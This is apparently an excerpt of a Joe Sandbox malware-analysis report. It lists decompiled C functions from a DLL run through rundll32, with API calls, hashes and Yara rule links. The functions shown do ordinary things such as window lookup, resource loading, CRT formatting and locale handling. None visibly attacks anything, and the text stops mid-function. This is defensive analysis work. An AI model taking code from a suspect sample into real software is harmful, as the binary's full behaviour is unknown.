Opcode Fuzzy Hash: e81572eb529839b9d0f1b1d171e42cdd84d88b2061f67ef72f10c141d4a56c07
Instruction Fuzzy Hash: EDF014B6502178BF9F222EA68C48CDFBE6DEE9B3A07114025F90992210D2718A51DAF4

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4CA33 Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB4CA33(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E6EB4CA33(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E6EB4C72D(_t13, _t14);
						}
						_t10 = E6EB4C759(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E6EB4CA33(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

APIs

GetDlgItem.USER32 ref: 6EB4CA40
GetTopWindow.USER32(00000000), ref: 6EB4CA53

Part of subcall function 6EB4CA33: GetWindow.USER32(00000000,00000002), ref: 6EB4CA9A

GetTopWindow.USER32(?), ref: 6EB4CA83

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: 5197791f91fd9854ed4ea77b4a20618cc6cd84cdd957326ac413608155514a11
Instruction ID: 712edcfa7c66437bae0d4f885c6c09d84576db5c53153f443819040a4844b23f
Opcode Fuzzy Hash: 5197791f91fd9854ed4ea77b4a20618cc6cd84cdd957326ac413608155514a11
Instruction Fuzzy Hash: 10017C325055A6FBAF229EE5CC00E8E3EA8EF45BA0F064020FD149911CD732C519AEE5

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6F93E Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB6F93E(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;

				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E6EB6F22F(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t34 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E6EB6F31F(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E6EB6F844(_t28, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E6EB6F789(_t28, _t34, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 6EB6F964

Part of subcall function 6EB6F789: __fltout2.LIBCMT ref: 6EB6F7B5

__cftog_l.LIBCMT ref: 6EB6F98A
__cftoe_l.LIBCMT ref: 6EB6F9BC

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction ID: 4b67acfac0cd44e105915c5a4f4d83a0ca7dcf0535167751929b38c5a1192caf
Opcode Fuzzy Hash: bfaf9c04f800815b6471d517da42daec28121d5ec88fca071302ba537a085f53
Instruction Fuzzy Hash: 3911483204418EFBCF125EC4DC519EE3F27FB19354B698815FA2859170C736C5B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 6EB4F484 Relevance: 6.0, APIs: 4, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 88%

			E6EB4F484(intOrPtr __ecx, CHAR* _a4) {
				intOrPtr _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t7;
				struct HRSRC__* _t10;
				void* _t13;
				void* _t18;
				void* _t20;
				void* _t21;
				struct HINSTANCE__* _t23;

				_push(__ecx);
				_push(_t20);
				_t13 = 0;
				_t18 = 0;
				_v8 = __ecx;
				_t24 = _a4;
				if(_a4 == 0) {
					L4:
					_t21 = E6EB4EFFE(_v8, _t18, _t18);
					if(_t18 != 0 && _t13 != 0) {
						FreeResource(_t13);
					}
					_t7 = _t21;
				} else {
					_t23 =  *(E6EB53D20(0, 0, _t20, _t24) + 0xc);
					_t10 = FindResourceA(_t23, _a4, 0xf0);
					if(_t10 == 0) {
						goto L4;
					} else {
						_t7 = LoadResource(_t23, _t10);
						_t13 = _t7;
						if(_t13 != 0) {
							_t18 = LockResource(_t13);
							goto L4;
						}
					}
				}
				return _t7;
			}

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 6EB4F4AA
LoadResource.KERNEL32(?,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,C96CFF66), ref: 6EB4F4B6
LockResource.KERNEL32(00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,C96CFF66), ref: 6EB4F4C3
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,?,6EB52E0A,?,?,6EB45D04,C96CFF66), ref: 6EB4F4DF

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: a7f0b81718f9f957059aab316a474ca51e302a11471df1d2d280c74934a70ed4
Instruction ID: c4191e991c6385d5a846e32a3f8e181f8268595c3694e8156c51ba22d5476f3b
Opcode Fuzzy Hash: a7f0b81718f9f957059aab316a474ca51e302a11471df1d2d280c74934a70ed4
Instruction Fuzzy Hash: E5F0C8332006AAFBEF219FE58C9896F7EADDF912607125039FA15D7214DF70C9009760

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6E9F5 Relevance: 6.0, APIs: 4, Instructions: 31
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 90%

			E6EB6E9F5(void* __ebx, void* __edx, intOrPtr __edi, void* __esi, void* __eflags) {
				signed int _t13;
				intOrPtr _t28;
				void* _t29;
				void* _t30;

				_t30 = __eflags;
				_t26 = __edi;
				_t25 = __edx;
				_t22 = __ebx;
				_push(0xc);
				_push(0x6eb856e0);
				E6EB66608(__ebx, __edi, __esi);
				_t28 = E6EB6A81F(__ebx, __edx, __edi, _t30);
				_t13 =  *0x6eb8a04c; // 0xfffffffe
				if(( *(_t28 + 0x70) & _t13) == 0) {
					L6:
					E6EB6AEB4(_t22, 0xc);
					 *(_t29 - 4) =  *(_t29 - 4) & 0x00000000;
					_t8 = _t28 + 0x6c; // 0x6c
					_t26 =  *0x6eb8a130; // 0x6eb8a058
					 *((intOrPtr*)(_t29 - 0x1c)) = E6EB6E9B7(_t8, _t26);
					 *(_t29 - 4) = 0xfffffffe;
					E6EB6EA5F();
				} else {
					_t32 =  *((intOrPtr*)(_t28 + 0x6c));
					if( *((intOrPtr*)(_t28 + 0x6c)) == 0) {
						goto L6;
					} else {
						_t28 =  *((intOrPtr*)(E6EB6A81F(_t22, __edx, _t26, _t32) + 0x6c));
					}
				}
				if(_t28 == 0) {
					E6EB66ECD(_t25, _t26, 0x20);
				}
				return E6EB6664D(_t28);
			}

APIs

__getptd.LIBCMT ref: 6EB6EA01

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6EA18
__amsg_exit.LIBCMT ref: 6EB6EA26
__lock.LIBCMT ref: 6EB6EA36

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: __amsg_exit__getptd$__getptd_noexit__lock
String ID:
API String ID: 3521780317-0
Opcode ID: 219e24ad91b84addb4ee0c3fc18444d2459a57a42b6e2c6fb96ccc42cf54f7a9
Instruction ID: 9655a5c469ab99f81ccbb73b177b9b59367bad798fd652121a44f625b93e4ff3
Opcode Fuzzy Hash: 219e24ad91b84addb4ee0c3fc18444d2459a57a42b6e2c6fb96ccc42cf54f7a9
Instruction Fuzzy Hash: DEF030329716919EDB51EFF498007CE7FA4BF01728F108959D551AB3C0DB34AA01CF92

Uniqueness

Uniqueness Score: -1.00%

Function 6EB62927 Relevance: 6.0, APIs: 4, Instructions: 25
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E6EB62927(intOrPtr _a4, intOrPtr _a8) {
				long _t4;
				long _t5;
				void* _t7;
				void* _t8;
				void* _t9;

				_t13 = _a4;
				if(_a4 == 0) {
					__eflags =  *0x6eb8c998;
					if( *0x6eb8c998 == 0) {
						_t5 = GetTickCount();
						 *0x6eb8c998 =  *0x6eb8c998 + 1;
						__eflags =  *0x6eb8c998;
						 *0x6eb89310 = _t5;
					}
					_t4 = GetTickCount() -  *0x6eb89310;
					__eflags = _t4 - 0xea60;
					if(_t4 > 0xea60) {
						__imp__CoFreeUnusedLibraries();
						_t4 = GetTickCount();
						 *0x6eb89310 = _t4;
					}
					return _t4;
				}
				return E6EB628CB(_t7, _t8, _t9, _t13, _a8);
			}

APIs

GetTickCount.KERNEL32 ref: 6EB6294C
GetTickCount.KERNEL32 ref: 6EB62959
CoFreeUnusedLibraries.OLE32 ref: 6EB62968
GetTickCount.KERNEL32 ref: 6EB6296E

Part of subcall function 6EB628CB: CoFreeUnusedLibraries.OLE32 ref: 6EB62913
Part of subcall function 6EB628CB: OleUninitialize.OLE32 ref: 6EB62919

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: CountTick$FreeLibrariesUnused$Uninitialize
String ID:
API String ID: 685759847-0
Opcode ID: a4c42913de9c122881d74e781089aace7cfdc8af0ff5daeafa2d09dfe2d04859
Instruction ID: 875d08110b43ac63da856a85342f5e9eb53a38207899f09b967e09f8c338a737
Opcode Fuzzy Hash: a4c42913de9c122881d74e781089aace7cfdc8af0ff5daeafa2d09dfe2d04859
Instruction Fuzzy Hash: B1E06D30810A689BEF01AFA8C94879A3FA8FBA3310F514977F519976D0C7705590CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5C899 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 172
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E6EB5C899(intOrPtr* __ecx) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _v20;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t102;
				intOrPtr* _t103;
				signed int _t105;
				signed int _t117;
				intOrPtr* _t121;
				signed int _t137;
				signed int _t145;
				void* _t148;
				signed int _t149;
				signed int _t173;
				signed int _t175;
				void* _t183;
				signed int _t185;
				void* _t186;
				void* _t188;

				_t187 = __ecx;
				_t145 = 0;
				if( *((intOrPtr*)(__ecx + 0x48)) == 0) {
					__eflags =  *(__ecx + 0x40);
					if( *(__ecx + 0x40) == 0) {
						L9:
						_t148 = 0;
						__eflags =  *((intOrPtr*)(_t187 + 0x10)) - _t145;
						 *(_t187 + 0x38) = _t145;
						if( *((intOrPtr*)(_t187 + 0x10)) <= _t145) {
							L12:
							_t102 =  *(_t187 + 0x38);
							__eflags = _t102 - _t145;
							if(__eflags > 0) {
								_t175 = 0x30;
								_t167 =  ~(__eflags > 0) | _t102 * _t175;
								 *((intOrPtr*)(_t187 + 0x3c)) = E6EB47C96( ~(__eflags > 0) | _t102 * _t175, _t167);
							}
							__eflags =  *((intOrPtr*)(_t187 + 0x10)) - _t145;
							_v12 = _t145;
							_v16 = _t145;
							if( *((intOrPtr*)(_t187 + 0x10)) <= _t145) {
								L21:
								_t149 =  *(_t187 + 0x38);
								_t103 =  *((intOrPtr*)(_t187 + 8));
								 *((intOrPtr*)( *_t103 + 0x10))(_t103, _t149,  *((intOrPtr*)(_t187 + 0x3c)), _t149 << 4, _t145);
								_t105 =  *(_t187 + 0x38);
								__eflags = _t105 - _t145;
								if(__eflags != 0) {
									_t173 = 0x10;
									_t156 =  ~(__eflags > 0) | _t105 * _t173;
									 *(_t187 + 0x40) = E6EB47C96( ~(__eflags > 0) | _t105 * _t173, _t156);
								}
								__eflags =  *(_t187 + 0x38) - _t145;
								if( *(_t187 + 0x38) <= _t145) {
									L26:
									E6EB5C087(_t187);
									return  *((intOrPtr*)( *_t187 + 0x10))();
								} else {
									_t183 = 0;
									__eflags = 0;
									do {
										E6EB65E80(_t183,  *(_t187 + 0x40) + _t183, 0, 0x10);
										_t188 = _t188 + 0xc;
										 *((short*)(_t183 +  *(_t187 + 0x40))) = 0;
										_t145 = _t145 + 1;
										_t183 = _t183 + 0x10;
										__eflags = _t145 -  *(_t187 + 0x38);
									} while (_t145 <  *(_t187 + 0x38));
									goto L26;
								}
							} else {
								_v8 = _t145;
								do {
									_t117 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t187 + 0x14)) + _v8 + 0x24)) + 4));
									_v20 = _t117;
									__eflags = _t117 - _t145;
									if(_t117 == _t145) {
										goto L20;
									}
									_t185 = _v12 * 0x30;
									__eflags = _t185;
									do {
										_t121 = E6EB4ABF2( &_v20);
										E6EB59E0A( *((intOrPtr*)(_t187 + 0x3c)) + _t185,  *((intOrPtr*)(_t187 + 0x14)) + _v8);
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x18) = _v12 << 4;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x1c) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x1c) & 0x00000000;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x24) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x24) | 0xffffffff;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x20) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x20) | 0xffffffff;
										_v12 = _v12 + 1;
										 *((intOrPtr*)(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x28)) = 1;
										 *((intOrPtr*)(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x2c)) =  *((intOrPtr*)( *_t121 + 0xa0));
										_t185 = _t185 + 0x30;
										__eflags = _v20;
									} while (_v20 != 0);
									_t145 = 0;
									__eflags = 0;
									L20:
									_v16 = _v16 + 1;
									_v8 = _v8 + 0x28;
									__eflags = _v16 -  *((intOrPtr*)(_t187 + 0x10));
								} while (_v16 <  *((intOrPtr*)(_t187 + 0x10)));
								goto L21;
							}
						}
						_t137 =  *((intOrPtr*)(_t187 + 0x14)) + 0x24;
						__eflags = _t137;
						do {
							 *(_t187 + 0x38) =  *(_t187 + 0x38) +  *((intOrPtr*)( *_t137 + 0xc));
							_t148 = _t148 + 1;
							_t137 = _t137 + 0x28;
							__eflags = _t148 -  *((intOrPtr*)(_t187 + 0x10));
						} while (_t148 <  *((intOrPtr*)(_t187 + 0x10)));
						goto L12;
					}
					_t186 = 0;
					__eflags =  *(__ecx + 0x38);
					if( *(__ecx + 0x38) <= 0) {
						L8:
						 *(_t187 + 0x40) = _t145;
						goto L9;
					}
					_v12 = 0;
					do {
						__imp__#9( *(__ecx + 0x40) + _v12);
						_v12 = _v12 + 0x10;
						_t186 = _t186 + 1;
						__eflags = _t186 -  *(__ecx + 0x38);
					} while (_t186 <  *(__ecx + 0x38));
					__eflags =  *(__ecx + 0x38);
					if(__eflags > 0) {
						E6EB47CD0(0, _t186, __ecx, __eflags,  *(__ecx + 0x40));
						E6EB47CD0(0, _t186, _t187, __eflags,  *((intOrPtr*)(_t187 + 0x3c)));
					}
					goto L8;
				}
				E6EB5C087(__ecx);
				return  *((intOrPtr*)( *__ecx + 0x10))();
			}

APIs

VariantClear.OLEAUT32(?), ref: 6EB5C8D4

Strings

(, xrefs: 6EB5C9E4

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ClearVariant
String ID: (
API String ID: 1473721057-3887548279
Opcode ID: 1455c89647184e3d6462538d82b498f5d5a81d55c35bc1c918e7dec751e15768
Instruction ID: 8b36c5b7a1272a1bb12f6ce6de2dcf6c8ab17a005478add11614751b571aa7cb
Opcode Fuzzy Hash: 1455c89647184e3d6462538d82b498f5d5a81d55c35bc1c918e7dec751e15768
Instruction Fuzzy Hash: 6E514471A10781DFCB64CFA8C98196ABBF6FF48314B504A2DE5829BA91C770F891CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB412C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6EB412C0(void* __edx, void* __esi) {
				int _v4;
				intOrPtr _v8;
				char _v12;
				char _v16;
				void* __ecx;
				signed int _t19;
				intOrPtr* _t21;
				intOrPtr* _t25;
				long _t37;
				signed int _t46;
				void* _t50;
				intOrPtr _t53;
				long _t56;
				intOrPtr _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;

				_t58 = __esi;
				_t50 = __edx;
				_push(0xffffffff);
				_push(0x6eb78678);
				_push( *[fs:0x0]);
				_t19 =  *0x6eb89470; // 0xc96cff66
				_push(_t19 ^ _t59);
				_t21 =  &_v12;
				 *[fs:0x0] = _t21;
				if( *((intOrPtr*)(__esi + 0x80)) != 0) {
					_t56 = SendMessageA( *(__esi + 0x20), 0x400, 0, 0);
					_t37 = SendMessageA( *(__esi + 0x20), 0x402, 0, 0);
					_t25 = E6EB4838C();
					_t62 = _t25;
					_t43 = 0 | _t62 == 0x00000000;
					if(_t62 == 0) {
						_t25 = E6EB41000(_t43, _t50, 0x80004005);
					}
					_v16 =  *((intOrPtr*)( *((intOrPtr*)( *_t25 + 0xc))))() + 0x10;
					_push(_t37 - _t56);
					_v4 = 0;
					E6EB415B0( &_v16, "%d (0x%02X)", _t37 - _t56);
					_t57 = _v16;
					_t46 =  *(_t58 + 0x80);
					_t59 = _t59 + 0x10;
					E6EB4F629(_t46, _t57);
					_t13 = _t57 - 0x10; // 0x6eb78668
					_t21 = _t13;
					_v8 = 0xffffffff;
					asm("lock xadd [edx], ecx");
					if((_t46 | 0xffffffff) - 1 <= 0) {
						_t53 =  *((intOrPtr*)( *_t21));
						_t16 = _t53 + 4; // 0x824548b
						_t21 =  *((intOrPtr*)( *_t16))(_t21);
					}
				}
				 *[fs:0x0] = _v12;
				return _t21;
			}

APIs

SendMessageA.USER32 ref: 6EB41303
SendMessageA.USER32 ref: 6EB41314

Strings

%d (0x%02X), xrefs: 6EB4134C

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: MessageSend
String ID: %d (0x%02X)
API String ID: 3850602802-1292222934
Opcode ID: 5da61448c728ad724c64856312d5f33a0166fbf1eed5b5e1386c0de061ccf40c
Instruction ID: 79bf819988f3ed270748bfc40035e3671fcdbe48e78f0e61a3b3c4114d248b88
Opcode Fuzzy Hash: 5da61448c728ad724c64856312d5f33a0166fbf1eed5b5e1386c0de061ccf40c
Instruction Fuzzy Hash: 51217AB1204741AFD754CFA8CC81F6AB7E8FB89720F144A1CF166DB6D0DB34A8098B54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB50A45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB50A45(void* __ecx) {
				signed int _v8;
				char _v20;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				long _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t29;
				signed int _t34;

				_t32 = _t34;
				_t9 =  *0x6eb89470; // 0xc96cff66
				_v8 = _t9 ^ _t34;
				_t12 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t12 == 0) {
					L4:
					_t13 = 0;
					__eflags = 0;
				} else {
					_t38 = _t12 - 0x104;
					if(_t12 == 0x104) {
						goto L4;
					} else {
						 *(PathFindExtensionA( &_v280)) = 0;
						asm("movsd");
						asm("movsd");
						asm("movsb");
						_t13 = E6EB507D6(_t19,  &_v20, "%s%s.dll", _t38,  &_v20,  &_v280);
						_t25 = _t25;
					}
				}
				_pop(_t29);
				return E6EB63DE0(_t13, _t19, _v8 ^ _t32, _t24, _t25, _t29);
			}

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 6EB50A6D
PathFindExtensionA.SHLWAPI(?), ref: 6EB50A83

Part of subcall function 6EB507D6: __EH_prolog3_GS.LIBCMT ref: 6EB507E0
Part of subcall function 6EB507D6: GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6EB50AA7,?,?), ref: 6EB50810
Part of subcall function 6EB507D6: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6EB50824
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB50860
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB5086E
Part of subcall function 6EB507D6: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6EB5088B
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB508B6
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(000003FF), ref: 6EB508BF
Part of subcall function 6EB507D6: GetModuleFileNameA.KERNEL32(6EB40000,?,00000105), ref: 6EB50974

Strings

%s%s.dll, xrefs: 6EB50A8C

Memory Dump Source

Source File: 00000003.00000002.258110315.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000003.00000002.258073511.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259140447.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259384322.000000006EB88000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259550074.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000003.00000002.259997061.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6eb40000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3_HandlePath
String ID: %s%s.dll
API String ID: 1311856149-1649984862
Opcode ID: a242a34d2f8fe036b762eb1d4d53a33136b17047db4cbe6e063df272793e6f6a
Instruction ID: 91bb896d7962845c86d615d604d9912be9d0f37c1f6581773422468605c8ab9c
Opcode Fuzzy Hash: a242a34d2f8fe036b762eb1d4d53a33136b17047db4cbe6e063df272793e6f6a
Instruction Fuzzy Hash: F0016D72A005589FDB14DEA8CD45AEF7BECAB56704F0104A5E546E7284EA70DA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6D14F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E6EB6D14F(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E6EB66449(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E6EB6A81F(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E6EB6A81F(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
